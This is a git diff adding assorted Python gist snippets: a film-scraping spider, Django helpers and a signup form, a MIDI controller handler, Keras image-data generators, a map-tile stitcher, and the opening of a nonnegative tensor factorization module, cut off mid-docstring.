+				yield Request(film_url, callback=self.parse_details)
+
+	def parse_details(self, response):
+		'''
+		Extract data from details pages
+		'''
+
+		sel = Selector(response)
+		film = sel.xpath('//div[@id="content-2-wide"]')
+
+		# Populate film fields
+		item = ScrapyTutorialItem()
+		item['title'] = film.xpath('.//h1/span[contains(@class, "itemprop")]/text()').extract()
+		item['year'] = film.xpath('.//div[@id="ratingWidget"]/p[1]/strong/following-sibling::node()').extract()
+		item['rating'] = film.xpath('.//span[@itemprop="ratingValue"]/text()').extract()
+		item['num_of_nominations'] = film.xpath('.//*[@itemprop="awards"][contains(., "nominations")]/text()').extract()
+		item['description'] = film.xpath('.//p[@itemprop="description"]/text()').extract()
+		item['poster_url'] = film.xpath('.//*[@id="img_primary"]//img/@src').extract()
+		item['film_url'] = response.url
+		item = self.__normalise_item(item, response.url)
+
+		# Get films with at least 5 award nominations
+		if item['num_of_nominations'] >= 5:
+			return item
+
+	def __normalise_item(self, item, base_url):
+		'''
+		Standardise and format item fields
+		'''
+
+		# Loop item fields to sanitise data and standardise data types
+		for key, value in vars(item).values()[0].iteritems():
+			item[key] = self.__normalise(item[key])
+
+		# Clean year and convert year from string to float
+		item['year'] = item['year'].strip('()')
+		item['type'] = 'Movie'
+
+		if len(item['year']) > 4:
+			item['type'] = 'TV Series'
+			item['year'] = item['year'][0:4]
+		item['year'] = self.__to_int(item['year'])
+
+		# Convert rating from string to float
+		item['rating'] = self.__to_float(item['rating'])
+
+		# Convert no. of nominations from string to int
+		if item['num_of_nominations']:
+			item['num_of_nominations'] = item['num_of_nominations'].split('&')[1]
+			item['num_of_nominations'] = [int(s) for s in item['num_of_nominations'].split() if s.isdigit()][0]
+		else:
+			item['num_of_nominations'] = 0
+
+		# Convert film URL from relative to absolute URL
+		item['film_url'] = self.__to_absolute_url(base_url, item['film_url'])
+
+		return item
+
+	def __normalise(self, value):
+		# Convert list to string
+		value = value if type(value) is not list else ' '.join(value)
+		# Trim leading and trailing special characters (Whitespaces, newlines, spaces, tabs, carriage returns)
+		value = value.strip()
+
+		return value
+
+	def __to_absolute_url(self, base_url, link):
+		'''
+		Convert relative URL to absolute URL
+		'''
+
+		import urlparse
+
+		link = urlparse.urljoin(base_url, link)
+
+		return link
+
+	def __to_int(self, value):
+		'''
+		Convert value to integer type
+		'''
+
+		try:
+			value = int(value)
+		except ValueError:
+			value = 0
+
+		return value
+
+	def __to_float(self, value):
+		'''
+		Convert value to float type
+		'''
+
+		try:
+			value = float(value)
+		except ValueError:
+			value = 0.0
+
+		return value
\ No newline at end of file
diff --git a/hard-gists/7703144/._snippet.py b/hard-gists/7703144/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7703144/._snippet.py differ
diff --git a/hard-gists/7703144/snippet.py b/hard-gists/7703144/snippet.py
new file mode 100644
index 00000000..1af7b061
--- /dev/null
+++ b/hard-gists/7703144/snippet.py
@@ -0,0 +1,26 @@
+from contextlib import contextmanager
+ 
+from django.conf import settings
+from django.db import connection
+ 
+ 
+@contextmanager
+def no_queries_allowed():
+    """This is a helper method that makes it easier during development, by
+    throwing an exception when any queries are made within its block.  Using
+    an ORM, it's sometimes hard to discover what statements lead to implicit
+    queries.  Wrapping this contextmanager around such blocks makes sure that
+    this cannot happen.
+ 
+    This is only works in debug mode, as in non-debug mode the
+    connection.queries list isn't available for inspection.  In production,
+    this is a no-op.
+    """
+    if settings.DEBUG:
+        queries = connection.queries
+        num_queries = len(queries)
+    yield
+    if settings.DEBUG:
+        assert num_queries == len(queries), \
+            "A query was made, but this was explicitly forbidden! " \
+            "Queries were: {}".format(queries[num_queries:])
diff --git a/hard-gists/7704036/._snippet.py b/hard-gists/7704036/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7704036/._snippet.py differ
diff --git a/hard-gists/7704036/snippet.py b/hard-gists/7704036/snippet.py
new file mode 100644
index 00000000..5795b37c
--- /dev/null
+++ b/hard-gists/7704036/snippet.py
@@ -0,0 +1,16 @@
+import base64
+
+from django.core.files.base import ContentFile
+from rest_framework import serializers
+
+
+class Base64ImageField(serializers.ImageField):
+    def from_native(self, data):
+        if isinstance(data, basestring) and data.startswith('data:image'):
+            # base64 encoded image - decode
+            format, imgstr = data.split(';base64,')  # format ~= data:image/X,
+            ext = format.split('/')[-1]  # guess file extension
+
+            data = ContentFile(base64.b64decode(imgstr), name='temp.' + ext)
+
+        return super(Base64ImageField, self).from_native(data)
diff --git a/hard-gists/7704845/._snippet.py b/hard-gists/7704845/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7704845/._snippet.py differ
diff --git a/hard-gists/7704845/snippet.py b/hard-gists/7704845/snippet.py
new file mode 100644
index 00000000..5bd058a9
--- /dev/null
+++ b/hard-gists/7704845/snippet.py
@@ -0,0 +1,87 @@
+#!/usr/bin/python
+
+import rtmidi, time
+
+buttons = {
+    58: 'track_left',
+    59: 'track_right',
+    46: 'cycle',
+    60: 'marker_set',
+    61: 'marker_left',
+    62: 'marker_right',
+    43: 'rwd',
+    44: 'fwd',
+    42: 'stop',
+    41: 'play',
+    45: 'record',
+    32: 's_0',
+    33: 's_1',
+    34: 's_2',
+    35: 's_3',
+    36: 's_4',
+    37: 's_5',
+    38: 's_6',
+    39: 's_7',
+    48: 'm_0',
+    49: 'm_1',
+    50: 'm_2',
+    51: 'm_3',
+    52: 'm_4',
+    53: 'm_5',
+    54: 'm_6',
+    55: 'm_7',
+    64: 'r_0',
+    65: 'r_1',
+    66: 'r_2',
+    67: 'r_3',
+    68: 'r_4',
+    69: 'r_5',
+    70: 'r_6',
+    71: 'r_7'
+}
+
+knobs = [16, 17, 18, 19, 20, 21, 22, 23]
+
+sliders = [0, 1, 2, 3, 4, 5, 6, 7]
+
+def buttonDown(button):
+    print "Pushed button %s" % (button, )
+
+def buttonUp(button):
+    print "Released button %s" % (button, )
+
+def twistedKnob(idx, value):
+    print "Twisted knob %d to %d" % (idx, value)
+
+def slidSlider(idx, value):
+    print "Slid slider %d to %d" % (idx, value)
+
+def midiCallback(message, data):
+    control = message[0][1]
+    value = message[0][2]
+    if (buttons.has_key(control)):
+        name = buttons[control]
+        if (value == 127):
+            return buttonDown(name)
+        else:
+            return buttonUp(name)
+    else:
+        try:
+            idx = knobs.index(control)
+            return twistedKnob(idx, value)
+        except ValueError:
+            pass
+        try:
+            idx = sliders.index(control)
+            return slidSlider(idx, value)
+        except ValueError:
+            pass
+        
+        print "Control: %d, Value: %d" % (control, value)
+
+midiin = rtmidi.MidiIn()
+port = midiin.open_port(0)
+port.set_callback(midiCallback)
+
+while True:
+    time.sleep(100)
diff --git a/hard-gists/771052/._snippet.py b/hard-gists/771052/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/771052/._snippet.py differ
diff --git a/hard-gists/771052/snippet.py b/hard-gists/771052/snippet.py
new file mode 100644
index 00000000..e758797f
--- /dev/null
+++ b/hard-gists/771052/snippet.py
@@ -0,0 +1,92 @@
+import re
+from django import forms
+from django.contrib.auth.models import User
+from django.contrib.auth.forms import UserCreationForm
+
+class UniqueUserEmailField(forms.EmailField):
+    """
+    An EmailField which only is valid if no User has that email.
+    """
+    def validate(self, value):
+        super(forms.EmailField, self).validate(value)
+        try:
+            User.objects.get(email = value)
+            raise forms.ValidationError("Email already exists")
+        except User.MultipleObjectsReturned:
+            raise forms.ValidationError("Email already exists")
+        except User.DoesNotExist:
+            pass
+
+
+class ExtendedUserCreationForm(UserCreationForm):
+    """
+    Extends the built in UserCreationForm in several ways:
+    
+    * Adds an email field, which uses the custom UniqueUserEmailField,
+      that is, the form does not validate if the email address already exists
+      in the User table.
+    * The username field is generated based on the email, and isn't visible.
+    * first_name and last_name fields are added.
+    * Data not saved by the default behavior of UserCreationForm is saved.
+    """
+    
+    username = forms.CharField(required = False, max_length = 30)
+    email = UniqueUserEmailField(required = True, label = 'Email address')
+    first_name = forms.CharField(required = True, max_length = 30)
+    last_name = forms.CharField(required = True, max_length = 30)
+    
+    def __init__(self, *args, **kwargs):
+        """
+        Changes the order of fields, and removes the username field.
+        """
+        super(UserCreationForm, self).__init__(*args, **kwargs)
+        self.fields.keyOrder = ['email', 'first_name', 'last_name',
+                                'password1', 'password2']
+
+    def __generate_username(self, email):
+        """
+        A simple way of deriving a username from an email address.
+        Hat tip: http://bit.ly/eIUR5R
+        
+        >>> User.objects.all().order_by('-id')[0].id
+        1
+        >>> self.__generate_username("abc@gmail.com")
+        abcabc2
+        >>> self.__generate_username("hey.what.is.up@hotmail.com")
+        heysup3
+        """
+        # TODO: Something more efficient?
+        highest_user_id = User.objects.all().order_by('-id')[0].id
+        leading_part_of_email = email.split('@',1)[0]
+        leading_part_of_email = re.sub(r'[^a-zA-Z0-9+]', '',
+                                       leading_part_of_email)
+        truncated_part_of_email = leading_part_of_email[:3] \
+                                  + leading_part_of_email[-3:]
+        derived_username = truncated_part_of_email + str(highest_user_id+1)
+        return derived_username
+    
+    def clean(self, *args, **kwargs):
+        """
+        Normal cleanup + username generation.
+        """
+        cleaned_data = super(UserCreationForm, self).clean(*args, **kwargs)
+        if cleaned_data.has_key('email'):
+            cleaned_data['username'] = self.__generate_username(
+                                                        cleaned_data['email'])
+        return cleaned_data
+        
+    def save(self, commit=True):
+        """
+        Saves the email, first_name and last_name properties, after the normal
+        save behavior is complete.
+        """
+        user = super(UserCreationForm, self).save(commit)
+        if user:
+            user.email = self.cleaned_data['email']
+            user.first_name = self.cleaned_data['first_name']
+            user.last_name = self.cleaned_data['last_name']
+            user.set_password(self.cleaned_data['password1'])
+            if commit:
+                user.save()
+        return user
+    
diff --git a/hard-gists/771426542eb36afeb56ce8b163560a4c/._snippet.py b/hard-gists/771426542eb36afeb56ce8b163560a4c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/771426542eb36afeb56ce8b163560a4c/._snippet.py differ
diff --git a/hard-gists/771426542eb36afeb56ce8b163560a4c/snippet.py b/hard-gists/771426542eb36afeb56ce8b163560a4c/snippet.py
new file mode 100644
index 00000000..03685a37
--- /dev/null
+++ b/hard-gists/771426542eb36afeb56ce8b163560a4c/snippet.py
@@ -0,0 +1,299 @@
+import numpy as np
+
+import os
+import glob
+import cv2
+import pandas as pd
+import random
+
+from keras.models import Sequential
+from keras.layers.core import Dense, Dropout, Flatten, Activation
+from keras.layers.normalization import BatchNormalization
+from keras.layers.convolutional import Convolution2D, MaxPooling2D, \
+                                       ZeroPadding2D
+from keras.layers.advanced_activations import LeakyReLU, PReLU
+from keras.regularizers import l2, activity_l2
+
+from keras.callbacks import EarlyStopping
+from keras.preprocessing.image import ImageDataGenerator
+from keras.optimizers import SGD, Adam
+from keras.utils import np_utils
+
+# Global setting
+np.random.seed(2016)
+
+# color type: 1 - grey, 3 - rgb
+color_type_global = 3
+
+# resize image shape
+img_rows, img_cols = 224, 224
+
+# batch size and # of epoch
+batch_size = 32
+
+# Image data generator in keras
+datagen = ImageDataGenerator(featurewise_center=False,
+    samplewise_center=False,
+    featurewise_std_normalization=False,
+    samplewise_std_normalization=False,
+    zca_whitening=False,
+    rotation_range=13.,
+    width_shift_range=0.1,
+    height_shift_range=0.1,
+    shear_range=0.1,
+    zoom_range=0.1,
+    channel_shift_range=0.,
+    fill_mode='nearest',
+    cval=0.,
+    horizontal_flip=False,
+    vertical_flip=False,
+    dim_ordering='th')
+
+
+if os.path.exists(top_model_weights_path):
+    os.remove(top_model_weights_path)
+
+def show_image(im, name='image'):
+    cv2.imshow(name, im)
+    cv2.waitKey(0)
+    cv2.destroyAllWindows()
+
+
+def get_im(path, img_rows, img_cols, color_type=1):
+    # Load as grayscale
+    if color_type == 1:
+        img = cv2.imread(path, 0)
+    elif color_type == 3:
+        img = cv2.imread(path)
+    # Reduce size
+    resized = cv2.resize(img, (img_cols, img_rows))
+    # mean_pixel = [103.939, 116.799, 123.68]
+    #resized = resized.astype(np.float32, copy=False)
+
+    # for c in range(3):
+    #    resized[:, :, c] = resized[:, :, c] - mean_pixel[c]
+    # resized = resized.transpose((2, 0, 1))
+    # resized = np.expand_dims(img, axis=0)
+    return resized
+
+def process_line(img_list):
+    target = int(img_list[1][1:])
+    img_path = '../input/imgs/train/' + img_list[1] + '/' + img_list[2]
+    img = get_im(img_path, img_rows, img_cols, color_type=color_type_global)
+    return  img, target
+
+
+def image_augmentation(X_train, Y_train, batch_size, datagen=datagen):
+
+    datagen.fit(X_train)
+
+    # fits the model on batches with real-time data augmentation:
+    return datagen.flow(X_train, Y_train, batch_size=batch_size).next()
+
+
+def generate_arrays_from_file(path, drivers_list=None, \
+                        color_type=color_type_global, isvalidation=False, isfinetuning=False,\
+                        finetuning_name=None, usingalldata=True):
+    while 1:
+
+        #print 'epoch'
+        f = open(path)
+        f.next() #columns
+        #print f
+        f_ = list(f)
+        f.close()
+        f = f_
+        if isvalidation==False:
+            random.shuffle(f)
+
+        if isfinetuning == True:
+            target_id = []
+
+        batch_index = 0
+        for line in f:
+            if batch_index == 0:
+                X_train = []
+                y_train = []
+            line = line.replace('\n', '').split(',')
+            if usingalldata == True:
+                if line[0] not in drivers_list:
+                    continue
+            # create numpy arrays of input data
+            # and labels, from each line in the file
+            #print line
+            if isvalidation == False:
+                x, y = process_line(line)
+            else:
+                x, y = process_line(line)
+
+            if isfinetuning == True:
+                target_id.append(y)
+
+            X_train.append(x)
+            y_train.append(y)
+            batch_index += 1
+
+            if batch_index % batch_size == 0:
+                X_train = np.array(X_train, dtype=np.uint8)
+                y_train = np.array(y_train, dtype=np.uint8)
+
+                if color_type == 1:
+                    X_train = X_train.reshape(X_train.shape[0], color_type,
+                                                        img_rows, img_cols)
+                else:
+                    X_train = X_train.transpose((0, 3, 1, 2))
+
+                y_train = np_utils.to_categorical(y_train, 10)
+                X_train = X_train.astype('float32')
+
+                if color_type == 1:
+                    X_train /= 255
+
+                else:
+                    #X_train /= 255
+                    mean_pixel = [103.939, 116.779, 123.68]
+                    for c in range(3):
+                        X_train[:, c, :, :] = X_train[:, c, :, :] - mean_pixel[c]
+
+                if isvalidation == False:
+                    X_train, y_train = image_augmentation(X_train, y_train, batch_index)
+
+                #init
+                batch_index = 0
+                #print X_train
+                yield (X_train, y_train)
+
+        else:
+
+            X_train = np.array(X_train, dtype=np.uint8)
+            y_train = np.array(y_train, dtype=np.uint8)
+
+            if color_type == 1:
+                X_train = X_train.reshape(X_train.shape[0], color_type,
+                                                            img_rows, img_cols)
+            else:
+                X_train = X_train.transpose((0, 3, 1, 2))
+
+            y_train = np_utils.to_categorical(y_train, 10)
+            X_train = X_train.astype('float32')
+
+            if color_type == 1:
+                X_train /= 255
+
+            else:
+                #X_train /= 255
+                mean_pixel = [103.939, 116.779, 123.68]
+                for c in range(3):
+                    X_train[:, c, :, :] = X_train[:, c, :, :] - mean_pixel[c]
+
+            if isvalidation == False:
+                X_train, y_train = image_augmentation(X_train, y_train, batch_index)
+
+            #init
+            batch_index = 0
+
+            if isfinetuning == True:
+                target_id = np_utils.to_categorical(target_id, 10)
+                np.save(open('target_{}.npy'.format(finetuning_name), 'w'), target_id)
+
+            yield (X_train, y_train)
+
+        # close file and shuffle data
+        #f.close()
+
+
+def test_prediction(data_path, color_type=color_type_global, batch_size = 64):
+
+    """
+    test_data_generator = test_prediction('../input/imgs/test/*.jpg')
+    """
+    print('Read test images')
+
+    while 1:
+
+        path = os.path.join(data_path)
+        f = glob.glob(path)
+        #for debug
+        #f = f[:6000]
+        X_test = []
+
+        batch_index = 0
+        for file_ in f:
+            #X_test_id.append(os.path.basename(file_))
+
+            if batch_index == 0:
+                X_test = []
+            #print line
+            x = get_im(file_, img_rows, img_cols, color_type)
+
+            X_test.append(x)
+            batch_index += 1
+
+            if batch_index % batch_size == 0:
+                X_test = np.array(X_test, dtype=np.uint8)
+
+                if color_type == 1:
+                    X_test = X_test.reshape(X_test.shape[0], color_type,
+                                                        img_rows, img_cols)
+                else:
+                    X_test = X_test.transpose((0, 3, 1, 2))
+
+                X_test = X_test.astype('float32')
+
+                if color_type == 1:
+                    X_test /= 255
+
+                else:
+                    #X_test /= 255
+                    mean_pixel = [103.939, 116.779, 123.68]
+                    for c in range(3):
+                        X_test[:, c, :, :] = X_test[:, c, :, :] - mean_pixel[c]
+
+                #init
+                batch_index = 0
+
+                yield X_test
+
+        else:
+            X_test = np.array(X_test, dtype=np.uint8)
+
+            if color_type == 1:
+                X_test = X_test.reshape(X_test.shape[0], color_type,
+                                                    img_rows, img_cols)
+            else:
+                X_test = X_test.transpose((0, 3, 1, 2))
+
+            X_test = X_test.astype('float32')
+
+            if color_type == 1:
+                X_test /= 255
+
+            else:
+                #X_test /= 255
+                mean_pixel = [103.939, 116.779, 123.68]
+                for c in range(3):
+                    X_test[:, c, :, :] = X_test[:, c, :, :] - mean_pixel[c]
+
+            #init
+            batch_index = 0
+
+            yield X_test
+
+def save_pred(preds, data_path, submission_name='submission'):
+    print('Read test images name for submission file')
+    path = os.path.join(data_path)
+    f = glob.glob(path)
+    X_test_id = []
+
+    for file_ in f:
+        X_test_id.append(os.path.basename(file_))
+
+    preds_df = pd.DataFrame(preds, columns=['c0', 'c1', 'c2', 'c3',
+                                 'c4', 'c5', 'c6', 'c7',
+                                            'c8', 'c9'])
+    preds_df['img'] = X_test_id
+
+    print 'Saving predictions'
+    preds_df.to_csv('submission/' + submission_name + '.csv', index=False)
+    return
+
diff --git a/hard-gists/7716005/._snippet.py b/hard-gists/7716005/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7716005/._snippet.py differ
diff --git a/hard-gists/7716005/snippet.py b/hard-gists/7716005/snippet.py
new file mode 100644
index 00000000..db731a1e
--- /dev/null
+++ b/hard-gists/7716005/snippet.py
@@ -0,0 +1,75 @@
+#!/usr/bin/env python
+from PIL import Image
+
+import math
+import requests
+import StringIO
+
+def deg2num(lat_deg, lon_deg, zoom):
+    lat_rad = math.radians(lat_deg)
+    n = 2.0 ** zoom
+    xtile = int((lon_deg + 180.0) / 360.0 * n)
+    ytile = int((1.0 - math.log(math.tan(lat_rad) + (1 / math.cos(lat_rad))) / math.pi) / 2.0 * n)
+    return (xtile, ytile)
+
+def getRangeForImages(lat_min, lon_min, lat_max, lon_max, zoom):
+    mi = deg2num(lat_min, lon_min, zoom)
+    ma = deg2num(lat_max, lon_max, zoom)
+    return (mi, ma)
+
+def sizeOfImage(lat_min, lon_min, lat_max, lon_max, zoom):
+    mi, ma = getRangeForImages(lat_min, lon_min, lat_max, lon_max, zoom)
+    width = abs(mi[0] - ma[0])
+    height = abs(mi[1] - ma[1])
+    return (width * 256, height * 256)
+
+def loadImages(lat_min, lon_min, lat_max, lon_max, zoom):
+    mi, ma = getRangeForImages(lat_min, lon_min, lat_max, lon_max, zoom)
+    startx = min(mi[0], ma[0])
+    starty = min(mi[1], ma[1])
+    endx = max(mi[0], ma[0])
+    endy = max(mi[1], ma[1])
+    images = {}
+    coords = []
+    for i in range(startx, endx+1):
+        for j in range(starty, endy+1):
+            URL = "http://otile1.mqcdn.com/tiles/1.0.0/sat/%d/%d/%d.png" % (zoom, i, j)
+            r = requests.get(URL)
+            if r.status_code != 200:
+                import sys
+                print "Error loading URL: " + URL
+                sys.exit(1)
+            im = Image.open(StringIO.StringIO(r.content))
+            coords.append((i,j))
+            images[(i,j)] = im
+    return (coords, images)
+
+def createMap(lat_min, lon_min, lat_max, lon_max, zoom):
+    width, height = sizeOfImage(lat_min, lon_min, lat_max, lon_max, zoom)
+    coords, images = loadImages(lat_min, lon_min, lat_max, lon_max, zoom)
+    lowerLeft = deg2num(lat_min, lon_min, zoom)
+    x = lowerLeft[0]
+    y = lowerLeft[1]
+
+    w = width/256
+    h = height/256
+    im = Image.new("RGB", (width, height))
+    for i in coords:
+        toPaste = images[i]
+        im.paste(toPaste, box=((i[0] - x) * 256, (i[1]+h - y) * 256))
+    im.save("landscape.png")
+
+if __name__ == "__main__":
+    import sys
+    if len(sys.argv) != 4 and len(sys.argv) != 6:
+        print "usage: %s zoom lat_max lon_min [lat_min lon_max]" % sys.argv[0]
+        sys.exit(-1)
+    zoom = int(sys.argv[1])
+    lat_max = float(sys.argv[2])
+    lon_min = float(sys.argv[3])
+    lat_min = math.floor(lat_max - 0.5)
+    lon_max = math.ceil(lon_min + 0.5)
+    if len(sys.argv) == 6:
+        lat_min = float(sys.argv[4])
+        lon_max = float(sys.argv[5])
+    createMap(lat_min, lon_min, lat_max, lon_max, zoom)
diff --git a/hard-gists/7719245/._snippet.py b/hard-gists/7719245/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7719245/._snippet.py differ
diff --git a/hard-gists/7719245/snippet.py b/hard-gists/7719245/snippet.py
new file mode 100644
index 00000000..c35e7825
--- /dev/null
+++ b/hard-gists/7719245/snippet.py
@@ -0,0 +1,714 @@
+#  Copyright (C) 2013 Istituto per l'Interscambio Scientifico I.S.I.
+#  You can contact us by email (isi@isi.it) or write to:
+#  ISI Foundation, Via Alassio 11/c, 10126 Torino, Italy.
+#
+#  This work is licensed under a Creative Commons 4.0
+#  Attribution-NonCommercial-ShareAlike License
+#  You may obtain a copy of the License at
+#  http://creativecommons.org/licenses/by-nc-sa/4.0/
+#
+#  This program was written by Andre Panisson <panisson@gmail.com> at
+#  the Data Science Lab of the ISI Foundation,
+#  and its development was partly supported by
+#  the EU FET project MULTIPLEX (grant number 317532).
+#
+'''
+Nonnegative Tensor Factorization, based on the Matlab source code
+available at Jingu Kim's (jingu.kim@gmail.com) home page:
+
+    https://github.com/kimjingu/nonnegfac-matlab
+    https://github.com/kimjingu/nonnegfac-python
+
+Requires the installation of Numpy and Scikit-Tensor
+    (https://github.com/mnick/scikit-tensor).
+
+For examples, see main() function.
+
+This code comes with no guarantee or warranty of any kind.
+Created on Nov 2013
+
+@author: Andre Panisson
+@contact: panisson@gmail.com
+@organization: ISI Foundation, Torino, Italy
+'''
+
+import numpy as np
+from numpy import zeros, ones, diff, kron, tile, any, all, linalg
+import numpy.linalg as nla
+import time
+from sktensor import ktensor
+
+
+def find(condition):
+    "Return the indices where ravel(condition) is true"
+    res, = np.nonzero(np.ravel(condition))
+    return res
+
+
+def normalEqComb(AtA, AtB, PassSet=None):
+    """ Solve many systems of linear equations using combinatorial grouping.
+
+    M. H. Van Benthem and M. R. Keenan, J. Chemometrics 2004; 18: 441-450
+
+    Parameters
+    ----------
+    AtA : numpy.array, shape (n,n)
+    AtB : numpy.array, shape (n,k)
+
+    Returns
+    -------
+    Z : numpy.array, shape (n,k) - solution
+    """
+    if AtB.size == 0:
+        Z = np.zeros([])
+    elif (PassSet == None) or np.all(PassSet):
+        Z = nla.solve(AtA, AtB)
+    else:
+        Z = np.zeros(AtB.shape)
+        if PassSet.shape[1] == 1:
+            if np.any(PassSet):
+                cols = PassSet.nonzero()[0]
+                Z[cols] = nla.solve(AtA[np.ix_(cols, cols)], AtB[cols])
+        else:
+            #
+            # Both _column_group_loop() and _column_group_recursive() work well.
+            # Based on preliminary testing,
+            # _column_group_loop() is slightly faster for tiny k(<10), but
+            # _column_group_recursive() is faster for large k's.
+            #
+            grps = _column_group_recursive(PassSet)
+            for gr in grps:
+                cols = PassSet[:, gr[0]].nonzero()[0]
+                if cols.size > 0:
+                    ix1 = np.ix_(cols, gr)
+                    ix2 = np.ix_(cols, cols)
+                    #
+                    # scipy.linalg.cho_solve can be used instead of numpy.linalg.solve.
+                    # For small n(<200), numpy.linalg.solve appears faster, whereas
+                    # for large n(>500), scipy.linalg.cho_solve appears faster.
+                    # Usage example of scipy.linalg.cho_solve:
+                    # Z[ix1] = sla.cho_solve(sla.cho_factor(AtA[ix2]),AtB[ix1])
+                    #
+                    Z[ix1] = nla.solve(AtA[ix2], AtB[ix1])
+    return Z
+
+
+def _column_group_recursive(B):
+    """ Given a binary matrix, find groups of the same columns
+        with a recursive strategy
+
+    Parameters
+    ----------
+    B : numpy.array, True/False in each element
+
+    Returns
+    -------
+    A list of arrays - each array contain indices of columns that are the same.
+    """
+    initial = np.arange(0, B.shape[1])
+    return [a for a in column_group_sub(B, 0, initial) if len(a) > 0]
+
+
+def column_group_sub(B, i, cols):
+    vec = B[i][cols]
+    if len(cols) <= 1:
+        return [cols]
+    if i == (B.shape[0] - 1):
+        col_trues = cols[vec.nonzero()[0]]
+        col_falses = cols[(-vec).nonzero()[0]]
+        return [col_trues, col_falses]
+    else:
+        col_trues = cols[vec.nonzero()[0]]
+        col_falses = cols[(-vec).nonzero()[0]]
+        after = column_group_sub(B, i + 1, col_trues)
+        after.extend(column_group_sub(B, i + 1, col_falses))
+    return after
+
+
+def nnlsm_activeset(A, B, overwrite=0, isInputProd=0, init=None):
+    """
+    Nonnegativity Constrained Least Squares with Multiple Righthand Sides
+         using Active Set method
+
+    This function solves the following problem: given A and B, find X such that
+               minimize || AX-B ||_F^2 where X>=0 elementwise.
+
+    Reference:
+         Charles L. Lawson and Richard J. Hanson,
+               Solving Least Squares Problems,
+               Society for Industrial and Applied Mathematics, 1995
+         M. H. Van Benthem and M. R. Keenan,
+               Fast Algorithm for the Solution of Large-scale
+               Non-negativity-constrained Least Squares Problems,
+               J. Chemometrics 2004; 18: 441-450
+
+    Based on the Matlab version written by Jingu Kim (jingu.kim@gmail.com)
+                  School of Computational Science and Engineering,
+                  Georgia Institute of Technology
+
+    Parameters
+    ----------
+    A : input matrix (m x n) (by default),
+        or A'*A (n x n) if isInputProd==1
+
+    B : input matrix (m x k) (by default),
+        or A'*B (n x k) if isInputProd==1
+
+    overwrite : (optional, default:0)
+        if turned on, unconstrained least squares solution is computed
+        in the beginning
+
+    isInputProd : (optional, default:0)
+        if turned on, use (A'*A,A'*B) as input instead of (A,B)
+
+    init : (optional) initial value for X
+
+    Returns
+    -------
+    X : the solution (n x k)
+
+    Y : A'*A*X - A'*B where X is the solution (n x k)
+    """
+
+    if isInputProd:
+        AtA = A
+        AtB = B
+    else:
+        AtA = A.T.dot(A)
+        AtB = A.T.dot(B)
+
+    n, k = AtB.shape
+    MAX_ITER = n * 5
+
+    # set initial feasible solution
+    if overwrite:
+        X = normalEqComb(AtA, AtB)
+        PassSet = (X > 0).copy()
+        NotOptSet = any(X < 0)
+    elif init is not None:
+        X = init
+        X[X < 0] = 0
+        PassSet = (X > 0).copy()
+        NotOptSet = ones((1, k), dtype=np.bool)
+    else:
+        X = zeros((n, k))
+        PassSet = zeros((n, k), dtype=np.bool)
+        NotOptSet = ones((1, k), dtype=np.bool)
+
+    Y = zeros((n, k))
+    if (~NotOptSet).any():
+        Y[:, ~NotOptSet] = AtA.dot(X[:, ~NotOptSet]) - AtB[:, ~NotOptSet]
+    NotOptCols = find(NotOptSet)
+
+    bigIter = 0
+
+    while NotOptCols.shape[0] > 0:
+        bigIter = bigIter + 1
+        # set max_iter for ill-conditioned (numerically unstable) case
+        if ((MAX_ITER > 0) & (bigIter > MAX_ITER)):
+            break
+
+        Z = normalEqComb(AtA, AtB[:, NotOptCols], PassSet[:, NotOptCols])
+
+        Z[abs(Z) < 1e-12] = 0  # for numerical stability.
+
+        InfeaSubSet = Z < 0
+        InfeaSubCols = find(any(InfeaSubSet, axis=0))
+        FeaSubCols = find(all(~InfeaSubSet, axis=0))
+
+        if InfeaSubCols.shape[0] > 0:               # for infeasible cols
+            ZInfea = Z[:, InfeaSubCols]
+            InfeaCols = NotOptCols[InfeaSubCols]
+
+            Alpha = zeros((n, InfeaSubCols.shape[0]))
+            Alpha[:] = np.inf
+
+            ij = np.argwhere(InfeaSubSet[:, InfeaSubCols])
+            i = ij[:, 0]
+            j = ij[:, 1]
+
+            InfeaSubIx = np.ravel_multi_index((i, j), Alpha.shape)
+            if InfeaCols.shape[0] == 1:
+                InfeaIx = np.ravel_multi_index((i,
+                                                InfeaCols * ones((len(j), 1),
+                                                                 dtype=int)),
+                                               (n, k))
+            else:
+                InfeaIx = np.ravel_multi_index((i, InfeaCols[j]), (n, k))
+
+            Alpha.ravel()[InfeaSubIx] = X.ravel()[InfeaIx] / \
+                (X.ravel()[InfeaIx] - ZInfea.ravel()[InfeaSubIx])
+
+            minVal, minIx = np.min(Alpha, axis=0), np.argmin(Alpha, axis=0)
+            Alpha[:, :] = kron(ones((n, 1)), minVal)
+
+            X[:, InfeaCols] = X[:, InfeaCols] + \
+                              Alpha * (ZInfea - X[:, InfeaCols])
+
+            IxToActive = np.ravel_multi_index((minIx, InfeaCols), (n, k))
+
+            X.ravel()[IxToActive] = 0
+            PassSet.ravel()[IxToActive] = False
+
+        if FeaSubCols.shape[0] > 0:  # for feasible cols
+
+            FeaCols = NotOptCols[FeaSubCols]
+            X[:, FeaCols] = Z[:, FeaSubCols]
+            Y[:, FeaCols] = AtA.dot(X[:, FeaCols]) - AtB[:, FeaCols]
+
+            Y[abs(Y) < 1e-12] = 0   # for numerical stability.
+
+            NotOptSubSet = (Y[:, FeaCols] < 0) & ~PassSet[:, FeaCols]
+
+            NewOptCols = FeaCols[all(~NotOptSubSet, axis=0)]
+            UpdateNotOptCols = FeaCols[any(NotOptSubSet, axis=0)]
+
+            if UpdateNotOptCols.shape[0] > 0:
+                minIx = np.argmin(Y[:, UpdateNotOptCols] * \
+                                  ~PassSet[:, UpdateNotOptCols], axis=0)
+                idx = np.ravel_multi_index((minIx, UpdateNotOptCols), (n, k))
+                PassSet.ravel()[idx] = True
+
+            NotOptSet.T[NewOptCols] = False
+            NotOptCols = find(NotOptSet)
+
+    return X, Y
+
+
+def nnlsm_blockpivot(A, B, isInputProd=0, init=None):
+    """
+    Nonnegativity Constrained Least Squares with Multiple Righthand Sides
+         using Block Principal Pivoting method
+
